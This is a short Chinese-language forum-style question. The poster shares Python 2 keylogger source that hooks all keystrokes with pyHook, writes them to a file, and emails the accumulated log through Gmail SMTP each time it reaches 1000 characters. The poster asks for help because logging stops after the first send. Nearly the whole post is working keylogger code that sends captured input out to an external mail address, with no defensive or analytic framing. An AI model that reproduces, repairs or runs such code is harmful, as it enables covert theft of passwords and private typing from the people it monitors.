我正在研究简单的键盘记录器-
import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")
def OnKeyboardEvent(event):
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
checklog()
return True
def checklog():
f = open(path, "r")
x = f.read()
if len(x) == 1000:
server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
f.close()
f = open(path,"w")
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
它应该将日志保存到文件并在文件长度为 1000 时发送到电子邮件。然后清除日志,当长度为 1000 时再次发送邮件等。但是此代码不起作用,文件以 1000 发送,已清除,但不再记录. 问题出在哪里?谢谢